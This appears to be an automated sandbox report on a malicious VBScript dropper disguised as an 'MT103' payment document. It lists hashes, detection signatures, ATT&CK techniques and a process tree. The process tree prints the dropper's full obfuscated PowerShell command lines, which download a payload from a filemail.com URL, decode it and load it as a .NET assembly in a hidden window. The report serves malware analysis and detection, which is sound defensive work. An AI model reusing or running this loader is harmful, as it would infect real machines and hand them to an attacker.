9b8e6b4547ae0f5a3e4af5a94282ccd5bcbb464dabe75ec564315cd768d25806

General

Target

MT103-8819006.DOCS.vbs
Size

13KB
MD5

a2dc941889770cb179129bf7cb89bdff
SHA1

08a0a77a3754e6bee435810785802e0d054ce46b
SHA256

9b8e6b4547ae0f5a3e4af5a94282ccd5bcbb464dabe75ec564315cd768d25806
SHA512

e5495fe46ac92d0e92913c750224435e013e62def24f32781802964b66ee343d5bb8724f337c478eabc428a59e42a955b5f1f879463b0d8bc45803720b062006
SSDEEP

192:REpO+HDu/0/Jutko/4jos+9/uHLGHRkfkX:REs+AftkW8p+9/urGHRk8X

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3105.filemail.com/api/file/get?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-dviTK5cARaNdQjbb3mexfwQzKmTXg&skipreg=true&pk_vid=e0109638c9bfb9571732531309b5ff7c

exe.dropper

https://3105.filemail.com/api/file/get?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-dviTK5cARaNdQjbb3mexfwQzKmTXg&skipreg=true&pk_vid=e0109638c9bfb9571732531309b5ff7c

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	Process
3	2380	WScript.exe
4	2380	WScript.exe
8	2300	powershell.exe
9	2300	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
2412	powershell.exe
2300	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
2412	powershell.exe
2300	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeDebugPrivilege	2300	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	Process	procid_target
PID 2380 wrote to memory of 2412	2380	WScript.exe	30
PID 2380 wrote to memory of 2412	2380	WScript.exe	30
PID 2380 wrote to memory of 2412	2380	WScript.exe	30
PID 2412 wrote to memory of 2300	2412	powershell.exe	32
PID 2412 wrote to memory of 2300	2412	powershell.exe	32
PID 2412 wrote to memory of 2300	2412	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MT103-8819006.DOCS.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJFNoRWxMaWRbMV0rJFNIZUxsSURbMTNdKydYJykoICgoJ1c4WicrJ2knKydtYWdlVXJsID0gZGpLaHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1zaFRQSGJDUFg4by1sT3RDcUhMRzZfMHhDeS14bDR0bnhsQVZiUTk1LWR2aVRLNWNBUicrJ2FOZFFqYmIzbWV4ZndRekttVFhnJnNraXByZWc9dHJ1ZSZwa192aWQ9ZTAxMDk2MzgnKydjOWJmYjk1NzEnKyc3MzI1MzEzMDliNWZmN2MgZGpLO1c4WndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC4nKydXZWJDbGllbnQ7VzhaaW1hZ2VCeXRlcyA9IFc4WndlYkNsaWVudC5Eb3dubG9hZERhdGEoVzhaaW1hZ2VVcmwpO1c4WmltYWdlJysnVGV4dCA9IFtTeXN0ZW0uJysnVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaScrJ25nKFc4WmltYWdlQnl0ZXMpO1c4WnN0YXJ0RmxhZyA9IGRqSzw8QkFTRTY0X1NUQVJUPj5kaks7VzhaZW5kRmxhZyA9ICcrJ2RqSzw8QkFTRTY0X0VORD4+ZGpLO1c4WnN0YXJ0JysnSW5kJysnZXggPSBXOFppbWFnZVRleHQuSW5kZXhPZihXOFpzdGFydEZsYWcpO1c4WmVuZEluZGV4ID0gVzhaaW1hZ2VUZXgnKyd0LkluZGV4T2YoVzhaZW5kRmxhZyk7Vzhac3RhcnRJbmRleCAtZ2UgMCAtYW5kIFc4WmVuZEluZGV4IC1ndCBXOFpzdGFydEluZGV4O1cnKyc4WnN0YXJ0SW5kZXggKz0gVzhac3RhcnRGbGFnLicrJ0xlbmd0aDtXOFpiYXNlNjRMZW5ndGggPSBXOFplbmRJbmRleCAtIFc4WnN0YXJ0JysnSW5kZXg7VzhaYmFzZTY0Q29tbWFuZCA9IFc4WmltYWdlVGV4dCcrJy5TdWJzdHJpbmcoVzhac3RhcnRJbmRleCwgVzhaYmFzZTY0TGVuZ3RoKTtXOFonKydiYXNlNjRSZXZlcnNlZCcrJyA9JysnIC1qb2luIChXOFpiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgSWlIIEZvckVhY2gtT2JqZWN0IHsgVzhaXyB9KVstJysnMS4uJysnLShXOFpiYXNlNjRDb21tYW5kLkxlbmd0aCldO1c4WmNvbW1hbmRCeXRlcyAnKyc9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoVzhaYmFzZTY0UmV2ZXJzZWQpO1c4WmxvYWRlZEFzc2VtYicrJ2wnKyd5ID0gW1N5c3RlbS5SZWYnKydsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChXOFpjbycrJ21tJysnYW5kQnl0ZXMpO1c4WnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoZGpLVkFJZGpLKTtXOFp2YWlNZXRob2QuSScrJ252b2tlKFc4Wm51bGwsIEAoZGpLdHh0LmNpdi9mZGgvcG90Lmtuc2NtbWxsaXJkLmxsaScrJ2IvLzpwdHRoZGpLLCBkaktkZXNhJysndGl2YWRvZGpLLCBkaksnKydkZXNhdGl2YWRvZGpLLCBkaktkZXNhdGl2YWRvZGpLLCBkaktNU0J1aWxkZGpLLCBkaktkZXNhdGl2YWRvZGpLLCBkaktkZXNhdGknKyd2YWRvZGpLLGRqS2Rlc2F0aXZhZG9kakssZGpLZGVzYXRpdmFkb2RqJysnSyxkaktkZXNhdCcrJ2l2YWRvZGpLLGRqS2Rlc2F0aXZhJysnZG9kakssZGpLZGVzYXRpJysndmEnKydkb2RqSyxkaksxZGpLLGRqS2RlJysnc2F0JysnaXZhZG9kaicrJ0spKTsnKS1yRXBMQUNlICAnVzhaJyxbY0hhcl0zNiAgLXJFcExBQ2UgIChbY0hhcl03MytbY0hhcl0xMDUrW2NIYXJdNzIpLFtjSGFyXTEyNC1yRXBMQUNlICdkaksnLFtjSGFyXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $ShElLid[1]+$SHeLlID[13]+'X')( (('W8Z'+'i'+'mageUrl = djKhttps://3105.filemail.com/api/file/get?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-dviTK5cAR'+'aNdQjbb3mexfwQzKmTXg&skipreg=true&pk_vid=e0109638'+'c9bfb9571'+'732531309b5ff7c djK;W8ZwebClient = New-Object System.Net.'+'WebClient;W8ZimageBytes = W8ZwebClient.DownloadData(W8ZimageUrl);W8Zimage'+'Text = [System.'+'Text.Encoding]::UTF8.GetStri'+'ng(W8ZimageBytes);W8ZstartFlag = djK<<BASE64_START>>djK;W8ZendFlag = '+'djK<<BASE64_END>>djK;W8Zstart'+'Ind'+'ex = W8ZimageText.IndexOf(W8ZstartFlag);W8ZendIndex = W8ZimageTex'+'t.IndexOf(W8ZendFlag);W8ZstartIndex -ge 0 -and W8ZendIndex -gt W8ZstartIndex;W'+'8ZstartIndex += W8ZstartFlag.'+'Length;W8Zbase64Length = W8ZendIndex - W8Zstart'+'Index;W8Zbase64Command = W8ZimageText'+'.Substring(W8ZstartIndex, W8Zbase64Length);W8Z'+'base64Reversed'+' ='+' -join (W8Zbase64Command.ToCharArray() IiH ForEach-Object { W8Z_ })[-'+'1..'+'-(W8Zbase64Command.Length)];W8ZcommandBytes '+'= [System.Convert]::FromBase64String(W8Zbase64Reversed);W8ZloadedAssemb'+'l'+'y = [System.Ref'+'lection.Assembly]::Load(W8Zco'+'mm'+'andBytes);W8ZvaiMethod = [dnlib.IO.Home].GetMethod(djKVAIdjK);W8ZvaiMethod.I'+'nvoke(W8Znull, @(djKtxt.civ/fdh/pot.knscmmllird.lli'+'b//:ptthdjK, djKdesa'+'tivadodjK, djK'+'desativadodjK, djKdesativadodjK, djKMSBuilddjK, djKdesativadodjK, djKdesati'+'vadodjK,djKdesativadodjK,djKdesativadodj'+'K,djKdesat'+'ivadodjK,djKdesativa'+'dodjK,djKdesati'+'va'+'dodjK,djK1djK,djKde'+'sat'+'ivadodj'+'K));')-rEpLACe 'W8Z',[cHar]36 -rEpLACe ([cHar]73+[cHar]105+[cHar]72),[cHar]124-rEpLACe 'djK',[cHar]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a3fe0930cb5723032447530e908aab3a

SHA1
69b04ff5b60811be08a4ef4d0733a2026f70c330

SHA256
2f04f90372a5ae8631ce9094ef0c680b42aac3e0f68de0d9a5bd00dfd1fdc779

SHA512
4081e71cd4ad5ac0e461ca991c3de62ccf66b622906429314192cd647ca159c8331a9abfaac12c930d863d4bcb791a51ab044272efeda897fb946c61011ba014

Download Submit
memory/2412-4-0x000007FEF5B2E000-0x000007FEF5B2F000-memory.dmp

Filesize
4KB

Download
memory/2412-5-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/2412-7-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2412-6-0x0000000002820000-0x0000000002828000-memory.dmp

Filesize
32KB

Download
memory/2412-8-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2412-9-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2412-10-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2412-11-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2412-17-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads